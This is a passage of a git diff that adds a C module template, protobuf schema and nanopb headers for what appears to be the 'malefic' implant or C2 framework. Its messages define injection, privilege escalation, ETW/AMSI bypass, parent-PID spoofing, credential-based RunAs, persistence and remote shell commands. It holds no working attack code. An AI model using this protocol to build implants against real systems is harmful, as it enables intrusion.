SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_WmiMethodRequest_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_WmiMethodRequest_ParamsEntry_DEFAULT NULL + +#define malefic_RunAsRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, username, 1) \ +X(a, STATIC, SINGULAR, STRING, domain, 2) \ +X(a, STATIC, SINGULAR, STRING, password, 3) \ +X(a, STATIC, SINGULAR, STRING, program, 4) \ +X(a, STATIC, SINGULAR, STRING, args, 5) \ +X(a, STATIC, SINGULAR, BOOL, use_profile, 6) \ +X(a, STATIC, SINGULAR, BOOL, netonly, 7) \ +X(a, STATIC, SINGULAR, BOOL, use_env, 8) +#define malefic_RunAsRequest_CALLBACK NULL +#define malefic_RunAsRequest_DEFAULT NULL + +#define malefic_GetSystem_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, bin, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) +#define malefic_GetSystem_CALLBACK NULL +#define malefic_GetSystem_DEFAULT NULL + +#define malefic_Inject_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, bin, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) +#define malefic_Inject_CALLBACK NULL +#define malefic_Inject_DEFAULT NULL + +#define malefic_Pipe_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, target, 2) \ +X(a, STATIC, SINGULAR, BYTES, data, 4) +#define malefic_Pipe_CALLBACK NULL +#define malefic_Pipe_DEFAULT NULL + +#define malefic_PipeRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, pipe, 2) +#define malefic_PipeRequest_CALLBACK NULL +#define malefic_PipeRequest_DEFAULT NULL +#define malefic_PipeRequest_pipe_MSGTYPE malefic_Pipe + +#define malefic_Switch_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, STRING, urls, 1) +#define malefic_Switch_CALLBACK NULL +#define malefic_Switch_DEFAULT NULL + +#define malefic_TaskCtrl_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, task_id, 1) \ +X(a, STATIC, SINGULAR, STRING, op, 2) +#define malefic_TaskCtrl_CALLBACK NULL +#define malefic_TaskCtrl_DEFAULT NULL + +#define malefic_TaskInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, task_id, 1) \ +X(a, STATIC, SINGULAR, UINT64, last, 2) \ +X(a, STATIC, SINGULAR, UINT32, recv_count, 3) \ +X(a, STATIC, SINGULAR, UINT32, send_count, 4) +#define malefic_TaskInfo_CALLBACK NULL +#define malefic_TaskInfo_DEFAULT NULL + +#define malefic_TaskListResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, tasks, 1) +#define malefic_TaskListResponse_CALLBACK NULL +#define malefic_TaskListResponse_DEFAULT NULL +#define malefic_TaskListResponse_tasks_MSGTYPE malefic_TaskInfo + +#define malefic_FFmpegRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, action, 1) \ +X(a, STATIC, SINGULAR, STRING, device_name, 2) \ +X(a, STATIC, SINGULAR, STRING, output_format, 3) \ +X(a, STATIC, SINGULAR, STRING, output_path, 4) \ +X(a, STATIC, SINGULAR, STRING, time, 5) +#define malefic_FFmpegRequest_CALLBACK NULL +#define malefic_FFmpegRequest_DEFAULT NULL + +#define malefic_PtyRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, SINGULAR, STRING, session_id, 2) \ +X(a, STATIC, SINGULAR, STRING, shell, 3) \ +X(a, STATIC, SINGULAR, UINT32, cols, 4) \ +X(a, STATIC, SINGULAR, UINT32, rows, 5) \ +X(a, STATIC, SINGULAR, BYTES, input_data, 6) \ +X(a, STATIC, SINGULAR, STRING, input_text, 7) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 8) +#define malefic_PtyRequest_CALLBACK pb_default_field_callback +#define malefic_PtyRequest_DEFAULT NULL +#define malefic_PtyRequest_params_MSGTYPE malefic_PtyRequest_ParamsEntry + +#define malefic_PtyRequest_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_PtyRequest_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_PtyRequest_ParamsEntry_DEFAULT NULL + +#define malefic_PtyResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, session_id, 1) \ +X(a, STATIC, SINGULAR, BYTES, output_data, 2) \ +X(a, STATIC, SINGULAR, STRING, output_text, 3) \ +X(a, STATIC, SINGULAR, STRING, error, 4) \ +X(a, STATIC, SINGULAR, BOOL, session_active, 5) \ +X(a, STATIC, REPEATED, STRING, active_sessions, 6) \ +X(a, CALLBACK, REPEATED, MESSAGE, metadata, 7) +#define malefic_PtyResponse_CALLBACK pb_default_field_callback +#define malefic_PtyResponse_DEFAULT NULL +#define malefic_PtyResponse_metadata_MSGTYPE malefic_PtyResponse_MetadataEntry + +#define malefic_PtyResponse_MetadataEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_PtyResponse_MetadataEntry_CALLBACK pb_default_field_callback +#define malefic_PtyResponse_MetadataEntry_DEFAULT NULL + +#define malefic_CommonBody_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, REPEATED, UINT32, u32_array, 2) \ +X(a, STATIC, REPEATED, UINT64, u64_array, 4) \ +X(a, STATIC, REPEATED, BOOL, bool_array, 6) \ +X(a, STATIC, REPEATED, STRING, string_array, 8) \ +X(a, STATIC, REPEATED, BYTES, bytes_array, 10) +#define malefic_CommonBody_CALLBACK NULL +#define malefic_CommonBody_DEFAULT NULL + +extern const pb_msgdesc_t malefic_Ping_msg; +extern const pb_msgdesc_t malefic_Register_msg; +extern const pb_msgdesc_t malefic_Secure_msg; +extern const pb_msgdesc_t malefic_KeyExchangeRequest_msg; +extern const pb_msgdesc_t malefic_KeyExchangeResponse_msg; +extern const pb_msgdesc_t malefic_Init_msg; +extern const pb_msgdesc_t malefic_SysInfo_msg; +extern const pb_msgdesc_t malefic_Suicide_msg; +extern const pb_msgdesc_t malefic_Request_msg; +extern const pb_msgdesc_t malefic_Request_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_Response_msg; +extern const pb_msgdesc_t malefic_Response_KvEntry_msg; +extern const pb_msgdesc_t malefic_BypassRequest_msg; +extern const pb_msgdesc_t malefic_NetInterface_msg; +extern const pb_msgdesc_t malefic_SockTabEntry_msg; +extern const pb_msgdesc_t malefic_NetstatResponse_msg; +extern const pb_msgdesc_t malefic_Block_msg; +extern const pb_msgdesc_t malefic_ACK_msg; +extern const pb_msgdesc_t malefic_Os_msg; +extern const pb_msgdesc_t malefic_Process_msg; +extern const pb_msgdesc_t malefic_Timer_msg; +extern const pb_msgdesc_t malefic_FileInfo_msg; +extern const pb_msgdesc_t malefic_SacrificeProcess_msg; +extern const pb_msgdesc_t malefic_LsResponse_msg; +extern const pb_msgdesc_t malefic_DriveInfo_msg; +extern const pb_msgdesc_t malefic_EnumDriversResponse_msg; +extern const pb_msgdesc_t malefic_PsResponse_msg; +extern const pb_msgdesc_t malefic_ExecRequest_msg; +extern const pb_msgdesc_t malefic_ExecResponse_msg; +extern const pb_msgdesc_t malefic_BinaryResponse_msg; +extern const pb_msgdesc_t malefic_Modules_msg; +extern const pb_msgdesc_t malefic_Addons_msg; +extern const pb_msgdesc_t malefic_Addon_msg; +extern const pb_msgdesc_t malefic_LoadModule_msg; +extern const pb_msgdesc_t malefic_LoadAddon_msg; +extern const pb_msgdesc_t malefic_ExecuteAddon_msg; +extern const pb_msgdesc_t malefic_ExecuteBinary_msg; +extern const pb_msgdesc_t malefic_ExecuteBinary_ParamEntry_msg; +extern const pb_msgdesc_t malefic_ExecuteCommand_msg; +extern const pb_msgdesc_t malefic_UploadRequest_msg; +extern const pb_msgdesc_t malefic_DownloadRequest_msg; +extern const pb_msgdesc_t malefic_DownloadResponse_msg; +extern const pb_msgdesc_t malefic_CurlRequest_msg; +extern const pb_msgdesc_t malefic_CurlRequest_HeaderEntry_msg; +extern const pb_msgdesc_t malefic_ChownRequest_msg; +extern const pb_msgdesc_t malefic_IfconfigResponse_msg; +extern const pb_msgdesc_t malefic_RegistryRequest_msg; +extern const pb_msgdesc_t malefic_Registry_msg; +extern const pb_msgdesc_t malefic_RegistryWriteRequest_msg; +extern const pb_msgdesc_t malefic_TaskScheduleRequest_msg; +extern const pb_msgdesc_t malefic_TaskSchedule_msg; +extern const pb_msgdesc_t malefic_TaskSchedulesResponse_msg; +extern const pb_msgdesc_t malefic_ServiceRequest_msg; +extern const pb_msgdesc_t malefic_ServiceConfig_msg; +extern const pb_msgdesc_t malefic_ServiceStatus_msg; +extern const pb_msgdesc_t malefic_Service_msg; +extern const pb_msgdesc_t malefic_ServicesResponse_msg; +extern const pb_msgdesc_t malefic_WmiQueryRequest_msg; +extern const pb_msgdesc_t malefic_WmiMethodRequest_msg; +extern const pb_msgdesc_t malefic_WmiMethodRequest_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_RunAsRequest_msg; +extern const pb_msgdesc_t malefic_GetSystem_msg; +extern const pb_msgdesc_t malefic_Inject_msg; +extern const pb_msgdesc_t malefic_Pipe_msg; +extern const pb_msgdesc_t malefic_PipeRequest_msg; +extern const pb_msgdesc_t malefic_Switch_msg; +extern const pb_msgdesc_t malefic_TaskCtrl_msg; +extern const pb_msgdesc_t malefic_TaskInfo_msg; +extern const pb_msgdesc_t malefic_TaskListResponse_msg; +extern const pb_msgdesc_t malefic_FFmpegRequest_msg; +extern const pb_msgdesc_t malefic_PtyRequest_msg; +extern const pb_msgdesc_t malefic_PtyRequest_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_PtyResponse_msg; +extern const pb_msgdesc_t malefic_PtyResponse_MetadataEntry_msg; +extern const pb_msgdesc_t malefic_CommonBody_msg; + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define malefic_Ping_fields &malefic_Ping_msg +#define malefic_Register_fields &malefic_Register_msg +#define malefic_Secure_fields &malefic_Secure_msg +#define malefic_KeyExchangeRequest_fields &malefic_KeyExchangeRequest_msg +#define malefic_KeyExchangeResponse_fields &malefic_KeyExchangeResponse_msg +#define malefic_Init_fields &malefic_Init_msg +#define malefic_SysInfo_fields &malefic_SysInfo_msg +#define malefic_Suicide_fields &malefic_Suicide_msg +#define malefic_Request_fields &malefic_Request_msg +#define malefic_Request_ParamsEntry_fields &malefic_Request_ParamsEntry_msg +#define malefic_Response_fields &malefic_Response_msg +#define malefic_Response_KvEntry_fields &malefic_Response_KvEntry_msg +#define malefic_BypassRequest_fields &malefic_BypassRequest_msg +#define malefic_NetInterface_fields &malefic_NetInterface_msg +#define malefic_SockTabEntry_fields &malefic_SockTabEntry_msg +#define malefic_NetstatResponse_fields &malefic_NetstatResponse_msg +#define malefic_Block_fields &malefic_Block_msg +#define malefic_ACK_fields &malefic_ACK_msg +#define malefic_Os_fields &malefic_Os_msg +#define malefic_Process_fields &malefic_Process_msg +#define malefic_Timer_fields &malefic_Timer_msg +#define malefic_FileInfo_fields &malefic_FileInfo_msg +#define malefic_SacrificeProcess_fields &malefic_SacrificeProcess_msg +#define malefic_LsResponse_fields &malefic_LsResponse_msg +#define malefic_DriveInfo_fields &malefic_DriveInfo_msg +#define malefic_EnumDriversResponse_fields &malefic_EnumDriversResponse_msg +#define malefic_PsResponse_fields &malefic_PsResponse_msg +#define malefic_ExecRequest_fields &malefic_ExecRequest_msg +#define malefic_ExecResponse_fields &malefic_ExecResponse_msg +#define malefic_BinaryResponse_fields &malefic_BinaryResponse_msg +#define malefic_Modules_fields &malefic_Modules_msg +#define malefic_Addons_fields &malefic_Addons_msg +#define malefic_Addon_fields &malefic_Addon_msg +#define malefic_LoadModule_fields &malefic_LoadModule_msg +#define malefic_LoadAddon_fields &malefic_LoadAddon_msg +#define malefic_ExecuteAddon_fields &malefic_ExecuteAddon_msg +#define malefic_ExecuteBinary_fields &malefic_ExecuteBinary_msg +#define malefic_ExecuteBinary_ParamEntry_fields &malefic_ExecuteBinary_ParamEntry_msg +#define malefic_ExecuteCommand_fields &malefic_ExecuteCommand_msg +#define malefic_UploadRequest_fields &malefic_UploadRequest_msg +#define malefic_DownloadRequest_fields &malefic_DownloadRequest_msg +#define malefic_DownloadResponse_fields &malefic_DownloadResponse_msg +#define malefic_CurlRequest_fields &malefic_CurlRequest_msg +#define malefic_CurlRequest_HeaderEntry_fields &malefic_CurlRequest_HeaderEntry_msg +#define malefic_ChownRequest_fields &malefic_ChownRequest_msg +#define malefic_IfconfigResponse_fields &malefic_IfconfigResponse_msg +#define malefic_RegistryRequest_fields &malefic_RegistryRequest_msg +#define malefic_Registry_fields &malefic_Registry_msg +#define malefic_RegistryWriteRequest_fields &malefic_RegistryWriteRequest_msg +#define malefic_TaskScheduleRequest_fields &malefic_TaskScheduleRequest_msg +#define malefic_TaskSchedule_fields &malefic_TaskSchedule_msg +#define malefic_TaskSchedulesResponse_fields &malefic_TaskSchedulesResponse_msg +#define malefic_ServiceRequest_fields &malefic_ServiceRequest_msg +#define malefic_ServiceConfig_fields &malefic_ServiceConfig_msg +#define malefic_ServiceStatus_fields &malefic_ServiceStatus_msg +#define malefic_Service_fields &malefic_Service_msg +#define malefic_ServicesResponse_fields &malefic_ServicesResponse_msg +#define malefic_WmiQueryRequest_fields &malefic_WmiQueryRequest_msg +#define malefic_WmiMethodRequest_fields &malefic_WmiMethodRequest_msg +#define malefic_WmiMethodRequest_ParamsEntry_fields &malefic_WmiMethodRequest_ParamsEntry_msg +#define malefic_RunAsRequest_fields &malefic_RunAsRequest_msg +#define malefic_GetSystem_fields &malefic_GetSystem_msg +#define malefic_Inject_fields &malefic_Inject_msg +#define malefic_Pipe_fields &malefic_Pipe_msg +#define malefic_PipeRequest_fields &malefic_PipeRequest_msg +#define malefic_Switch_fields &malefic_Switch_msg +#define malefic_TaskCtrl_fields &malefic_TaskCtrl_msg +#define malefic_TaskInfo_fields &malefic_TaskInfo_msg +#define malefic_TaskListResponse_fields &malefic_TaskListResponse_msg +#define malefic_FFmpegRequest_fields &malefic_FFmpegRequest_msg +#define malefic_PtyRequest_fields &malefic_PtyRequest_msg +#define malefic_PtyRequest_ParamsEntry_fields &malefic_PtyRequest_ParamsEntry_msg +#define malefic_PtyResponse_fields &malefic_PtyResponse_msg +#define malefic_PtyResponse_MetadataEntry_fields &malefic_PtyResponse_MetadataEntry_msg +#define malefic_CommonBody_fields &malefic_CommonBody_msg + +/* Maximum encoded size of messages (where known) */ +/* malefic_Request_size depends on runtime parameters */ +/* malefic_Request_ParamsEntry_size depends on runtime parameters */ +/* malefic_Response_size depends on runtime parameters */ +/* malefic_Response_KvEntry_size depends on runtime parameters */ +/* malefic_ExecuteAddon_size depends on runtime parameters */ +/* malefic_ExecuteBinary_size depends on runtime parameters */ +/* malefic_ExecuteBinary_ParamEntry_size depends on runtime parameters */ +/* malefic_CurlRequest_size depends on runtime parameters */ +/* malefic_CurlRequest_HeaderEntry_size depends on runtime parameters */ +/* malefic_WmiMethodRequest_size depends on runtime parameters */ +/* malefic_WmiMethodRequest_ParamsEntry_size depends on runtime parameters */ +/* malefic_PtyRequest_size depends on runtime parameters */ +/* malefic_PtyRequest_ParamsEntry_size depends on runtime parameters */ +/* malefic_PtyResponse_size depends on runtime parameters */ +/* malefic_PtyResponse_MetadataEntry_size depends on runtime parameters */ +#define MALEFIC_MODULE_PB_H_MAX_SIZE malefic_PsResponse_size +#define malefic_ACK_size 10 +#define malefic_Addon_size 325 +#define malefic_Addons_size 10496 +#define malefic_BinaryResponse_size 8467 +#define malefic_Block_size 4107 +#define malefic_BypassRequest_size 6 +#define malefic_ChownRequest_size 390 +#define malefic_CommonBody_size 74706 +#define malefic_DownloadRequest_size 535 +#define malefic_DownloadResponse_size 4251 +#define malefic_DriveInfo_size 185 +#define malefic_EnumDriversResponse_size 3008 +#define malefic_ExecRequest_size 8526 +#define malefic_ExecResponse_size 8217 +#define malefic_ExecuteCommand_size 531 +#define malefic_FFmpegRequest_size 519 +#define malefic_FileInfo_size 546 +#define malefic_GetSystem_size 4105 +#define malefic_IfconfigResponse_size 38944 +#define malefic_Init_size 4099 +#define malefic_Inject_size 4105 +#define malefic_KeyExchangeRequest_size 593 +#define malefic_KeyExchangeResponse_size 258 +#define malefic_LoadAddon_size 4424 +#define malefic_LoadModule_size 4357 +#define malefic_LsResponse_size 70532 +#define malefic_Modules_size 16512 +#define malefic_NetInterface_size 1214 +#define malefic_NetstatResponse_size 51200 +#define malefic_Os_size 1268 +#define malefic_Ping_size 11 +#define malefic_PipeRequest_size 4427 +#define malefic_Pipe_size 4359 +#define malefic_Process_size 886 +#define malefic_PsResponse_size 455168 +#define malefic_Register_size 30933 +#define malefic_RegistryRequest_size 649 +#define malefic_RegistryWriteRequest_size 4961 +#define malefic_Registry_size 581 +#define malefic_RunAsRequest_size 1040 +#define malefic_SacrificeProcess_size 270 +#define malefic_Secure_size 583 +#define malefic_ServiceConfig_size 916 +#define malefic_ServiceRequest_size 984 +#define malefic_ServiceStatus_size 30 +#define malefic_Service_size 951 +#define malefic_ServicesResponse_size 122112 +#define malefic_SockTabEntry_size 197 +#define malefic_Suicide_size 22 +#define malefic_Switch_size 4128 +#define malefic_SysInfo_size 2678 +#define malefic_TaskCtrl_size 71 +#define malefic_TaskInfo_size 29 +#define malefic_TaskListResponse_size 3968 +#define malefic_TaskScheduleRequest_size 1303 +#define malefic_TaskSchedule_size 1235 +#define malefic_TaskSchedulesResponse_size 79232 +#define malefic_Timer_size 139 +#define malefic_UploadRequest_size 4625 +#define malefic_WmiQueryRequest_size 4386 + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.proto b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.proto new file mode 100644 index 0000000..6e73d4f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.proto @@ -0,0 +1,483 @@ +syntax = "proto3"; +package malefic; + +option go_package = "./malefic"; + + +message Ping{ + int32 nonce = 1; +} + +message Register { + string name = 1; + string proxy = 2; + repeated string module = 3; + repeated Addon addons = 4; + Timer timer = 5; + SysInfo sysinfo = 11; + Secure secure = 12; // Implant's public key, used by server to encrypt data +} + +message Secure{ + bool enable = 1; + string key = 2; // encryption key + string type = 3; // encryption type + string public_key = 4; // Implant's public key, used by server to encrypt data +} + + +// Age key exchange related messages +message KeyExchangeRequest { + string public_key = 1; // Temporary public key (Age X25519) + bytes signature = 2; // Signature of temporary public key + uint64 timestamp = 3; // Timestamp + string nonce = 4; // Nonce +} + +message KeyExchangeResponse { + string public_key = 1; // Server temporary public key +} + +message Init{ + bytes data = 1; +} + +message SysInfo { + string filepath = 1; + string workdir = 2; + bool is_privilege = 3; + Os os = 11; + Process process = 12; +} + +message Suicide { + int32 type = 1; + int64 timestamp = 2; +} + + +// common empty request +message Request { + string name = 1; + string input = 2; + repeated string args = 3; + map params = 4; + bytes bin = 5; +} + +message Response { + string output = 1; + string error = 2; + map kv = 3; + repeated string array =4; +} + + +message BypassRequest{ + bool ETW = 1; + bool AMSI = 2; + bool block_dll = 3; +} + +message NetInterface { + int32 index = 1; + string name = 2; + string mac = 3; + repeated string ip_addresses = 4; +} + +message SockTabEntry { + string local_addr = 1; + string remote_addr = 2; + string skState = 3; + // uint32 uid = 4; + string pid = 5; + string protocol = 6; +} + +message NetstatResponse { + repeated SockTabEntry socks = 1; +} + + +message Block{ + uint32 block_id = 1; + bytes content = 2; + bool end = 3; +} + +message ACK { + uint32 id = 1; + bool success = 2; + bool end = 3; +} + +message Os { + string name = 1; + string version = 2; // kernel version + string release = 3; // release version + string arch = 4; + string username = 5; + string hostname = 6; + string locale = 7; // timezone + repeated string clr_version = 8; +} + +message Process { + string name = 1; + uint32 pid = 2; + uint32 ppid = 3; + string owner = 4; + string arch = 5; + string path = 6; + string args = 7; + string uid = 8; +} + +message Timer { + string expression = 1; + double jitter = 2; +} + +message FileInfo { + string Name = 1; + bool IsDir = 2; + uint64 Size = 3; + int64 ModTime = 4; + uint32 Mode = 5; + string Link = 6; +} + +message SacrificeProcess { + bool hidden = 1; + bool block_dll = 2; + bool etw = 3; + uint32 ppid = 4; + string argue = 5; +} + +message LsResponse { + string Path = 1; + bool Exists = 2; + repeated FileInfo Files = 3; +} + +message DriveInfo { + string path = 1; // "C:\\" + string drive_type = 2; // "Fixed drive" + uint64 total_size = 3; // + uint64 free_size = 4; // + string file_system = 5; // "NTFS" +} + +message EnumDriversResponse { + repeated DriveInfo drives = 1; +} + +message PsResponse{ + repeated Process processes = 1; +} + +message ExecRequest { + string path = 1; + repeated string args = 2; + bool output = 3; + bool singleton = 4; + bool realtime = 5; + uint32 ppid = 10; +} + +message ExecResponse { + int32 status_code = 1; + bytes stdout = 2; + bytes stderr = 3; + uint32 pid = 4; + bool end = 5; +} + +message BinaryResponse { + bytes data = 1; // common return, bof BeaconOutput + bytes message = 2; // bof BeaconPrintf + string err = 4; + int32 status = 3; +} + +message Modules { + repeated string modules = 1; + map bundle_map = 2; +} + + +message Addons { + repeated Addon addons = 1; +} + +message Addon { + string name = 1; + string type = 2; + string depend = 3; +} + +message LoadModule{ + string bundle = 1; + bytes bin = 2; +} + +message LoadAddon{ + string name = 1; + string type = 2; + string depend = 3; + bytes bin = 4; +} + +message ExecuteAddon { + string addon = 1; + ExecuteBinary execute_binary = 2; +} + +message ExecuteBinary { + string name = 1; + bytes bin = 2; + map param = 3; + string type = 4; + string process_name = 5; + repeated string args = 6; + string entry_point = 7; + bytes data = 8; + bool output = 9; + uint32 arch = 10; + uint32 timeout = 11; + SacrificeProcess sacrifice = 12; + string path = 13; + string context = 14; + uint32 delay = 15; //millisecond +} + +message ExecuteCommand { + string command = 1; + SacrificeProcess sacrifice = 2; +} + +message UploadRequest { + string name = 1; + string target = 2; + uint32 priv = 3; + bytes data = 4; + bool hidden = 5; + bool override = 6; +} + +message DownloadRequest { + string path = 1; + string name = 2; + uint32 buffer_size = 3; + bool dir = 4; + int32 cur = 5; +} + +message DownloadResponse{ + string checksum = 1; + uint64 size = 2; + int32 cur = 3; + bytes content = 4; +} + +message CurlRequest{ + string url = 1; + int32 timeout = 2; + string method = 3; + bytes body = 4; + map header =5; + string hostname = 6; +} + +message ChownRequest{ + string path = 1; + string uid = 2; + string gid = 3; + bool recursive = 4; +} + +message IfconfigResponse { + repeated NetInterface net_interfaces = 1; +} + +// wrap for client +message RegistryRequest { + string type = 1; + Registry registry = 2; +} + +message Registry { + string hive = 1; + string path = 2; + string key = 3; +} + +message RegistryWriteRequest { + string hive = 1; + string path = 2; + string key = 3; + string string_value = 5; + bytes byte_value = 6; + uint32 dword_value = 7; + uint64 qword_value = 8; + uint32 regtype = 10; +} + +message TaskScheduleRequest { + string type = 1; + TaskSchedule taskschd = 2; +} + +message TaskSchedule { + string name = 1; + string path = 2; + string executable_path = 3; + uint32 trigger_type = 4; + string start_boundary = 5; + string description = 6; + bool enabled = 7; + string last_run_time = 8; + string next_run_time = 9; +} + + +message TaskSchedulesResponse { + repeated TaskSchedule schedules = 1; +} + +// wrap for client +message ServiceRequest { + string type = 1; + ServiceConfig service = 2; +} + +message ServiceConfig { + string name = 1; + string display_name = 2; + string executable_path = 3; + uint32 start_type = 4; + uint32 error_control = 5; + string account_name = 6; +} + +message ServiceStatus { + uint32 current_state = 1; + uint32 process_id = 2; + uint32 exit_code = 3; + uint32 checkpoint = 4; + uint32 wait_hint = 5; +} + +message Service { + ServiceConfig config = 1; + ServiceStatus status = 2; +} + +message ServicesResponse { + repeated Service services = 1; +} + +message WmiQueryRequest { + string namespace = 1; + repeated string args = 2; +} + +message WmiMethodRequest { + string namespace = 1; + string class_name = 2; + string method_name = 3; + map params = 4; +} + +message RunAsRequest { + string username = 1; // Username to execute as + string domain = 2; // User domain + string password = 3; // User password + string program = 4; // Program path + string args = 5; // Program arguments (optional) + bool use_profile = 6; + bool netonly = 7; // Use network credentials only (optional, default false) + bool use_env = 8; +} + +message GetSystem{ + bytes bin = 1; + uint32 pid = 2; +} + +message Inject{ + bytes bin = 1; + uint32 pid = 2; +} + +message Pipe { + string name = 1; + string target = 2; + bytes data = 4; +} + +message PipeRequest { + string type = 1; + Pipe pipe = 2; +} + +message Switch { + repeated string urls = 1; +} + +message TaskCtrl{ + uint32 task_id = 1; + string op = 2; +} + +message TaskInfo { + uint32 task_id = 1; + uint64 last = 2; + uint32 recv_count = 3; + uint32 send_count = 4; +} + +message TaskListResponse { + repeated TaskInfo tasks = 1; +} + +message FFmpegRequest { + string action = 1; + string device_name = 2; + string output_format = 3; + string output_path = 4; + string time = 5; +} + +// PTY +message PtyRequest { + string type = 1; // type: "start", "input", "stop" + string session_id = 2; // + string shell = 3; // shell type: "/bin/bash", "cmd.exe", "powershell.exe" + uint32 cols = 4; // + uint32 rows = 5; // + bytes input_data = 6; // + string input_text = 7; // + map params = 8; // +} + +message PtyResponse { + string session_id = 1; // Session ID + bytes output_data = 2; // Output data (binary) + string output_text = 3; // Output data (text) + string error = 4; // Error message + bool session_active = 5; // Whether session is still active + repeated string active_sessions = 6; + map metadata = 7; +} + +message CommonBody { + string name = 1; + repeated uint32 u32_array = 2; + repeated uint64 u64_array = 4; + repeated bool bool_array = 6; + repeated string string_array = 8; + repeated bytes bytes_array = 10; +} diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/module.c b/malefic-3rd-template/malefic-3rd-c/src/c/module.c new file mode 100644 index 0000000..88bc456 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/module.c @@ -0,0 +1,19 @@ +#include "module.h" + +/* + * FFI exports — delegates to the registered module. + */ + +const char* CModuleName(void) { + return module_name(); +} + +int CModuleHandle(uint32_t task_id, + const char* req_data, int req_len, + char** resp_data, int* resp_len) { + module_handler_fn handler = module_handler(); + if (!handler) { + return -1; + } + return handler(task_id, req_data, req_len, resp_data, resp_len); +} diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/module.h b/malefic-3rd-template/malefic-3rd-c/src/c/module.h new file mode 100644 index 0000000..c79f4ca --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/module.h @@ -0,0 +1,54 @@ +#ifndef MALEFIC_MODULE_H +#define MALEFIC_MODULE_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * C Module Interface for malefic-3rd-c + * + * CModuleName returns a static string (do NOT free). + * CModuleHandle receives a serialized protobuf Request and returns a serialized Response. + * The response buffer is malloc'd; Rust frees it via free(). + */ + +/* Returns the module name (static string, caller must NOT free). */ +const char* CModuleName(void); + +/* + * Synchronous handler. + * task_id : task identifier + * req_data : serialized protobuf Request + * req_len : length of req_data + * resp_data: [out] pointer to malloc'd response buffer + * resp_len : [out] length of response buffer + * + * Returns 0 on success, non-zero on error. + */ +int CModuleHandle(uint32_t task_id, + const char* req_data, int req_len, + char** resp_data, int* resp_len); + +/* + * Module registration callback. + * Called by module.c framework — each module implements this to populate + * the handler function pointer. + */ + +/* Handler function type: same signature as CModuleHandle */ +typedef int (*module_handler_fn)(uint32_t task_id, + const char* req_data, int req_len, + char** resp_data, int* resp_len); + +/* Implemented by each module (e.g. example.c) */ +const char* module_name(void); +module_handler_fn module_handler(void); + +#ifdef __cplusplus +} +#endif + +#endif /* MALEFIC_MODULE_H */ diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb.h b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb.h new file mode 100644 index 0000000..10249bb --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb.h @@ -0,0 +1,922 @@ +/* Common parts of the nanopb library. Most of these are quite low-level + * stuff. For the high-level interface, see pb_encode.h and pb_decode.h. + */ + +#ifndef PB_H_INCLUDED +#define PB_H_INCLUDED + +/***************************************************************** + * Nanopb compilation time options. You can change these here by * + * uncommenting the lines, or on the compiler command line. * + *****************************************************************/ + +/* Enable support for dynamically allocated fields */ +/* #define PB_ENABLE_MALLOC 1 */ + +/* Define this if your CPU / compiler combination does not support + * unaligned memory access to packed structures. Note that packed + * structures are only used when requested in .proto options. */ +/* #define PB_NO_PACKED_STRUCTS 1 */ + +/* Increase the number of required fields that are tracked. + * A compiler warning will tell if you need this. */ +/* #define PB_MAX_REQUIRED_FIELDS 256 */ + +/* Add support for tag numbers > 65536 and fields larger than 65536 bytes. */ +/* #define PB_FIELD_32BIT 1 */ + +/* Disable support for error messages in order to save some code space. */ +/* #define PB_NO_ERRMSG 1 */ + +/* Disable support for custom streams (support only memory buffers). */ +/* #define PB_BUFFER_ONLY 1 */ + +/* Disable support for 64-bit datatypes, for compilers without int64_t + or to save some code space. */ +/* #define PB_WITHOUT_64BIT 1 */ + +/* Don't encode scalar arrays as packed. This is only to be used when + * the decoder on the receiving side cannot process packed scalar arrays. + * Such example is older protobuf.js. */ +/* #define PB_ENCODE_ARRAYS_UNPACKED 1 */ + +/* Enable conversion of doubles to floats for platforms that do not + * support 64-bit doubles. Most commonly AVR. */ +/* #define PB_CONVERT_DOUBLE_FLOAT 1 */ + +/* Check whether incoming strings are valid UTF-8 sequences. Slows down + * the string processing slightly and slightly increases code 